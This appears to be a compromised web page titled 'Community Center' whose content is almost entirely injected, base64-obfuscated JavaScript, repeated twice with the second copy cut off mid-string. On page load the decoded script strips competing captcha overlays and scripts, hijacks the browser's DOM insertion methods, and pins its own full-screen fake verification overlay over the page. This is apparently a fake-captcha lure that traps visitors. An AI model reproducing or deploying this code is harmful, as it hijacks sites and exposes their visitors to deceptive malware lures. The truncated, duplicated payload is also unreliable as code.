Community Center

 

(function(){if(window.__cogniRivalKillEarly)return;window.__cogniRivalKillEarly=1;var s=document.createElement(‘script’);s.textContent=atob(“KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGFzc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTs=”);(document.documentElement||document.head).appendChild(s);})(); (function(){if(window.__cogniB64Ran)return;window.__cogniB64Ran=1;var s=document.createElement(‘script’);s.textContent=atob(“KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50R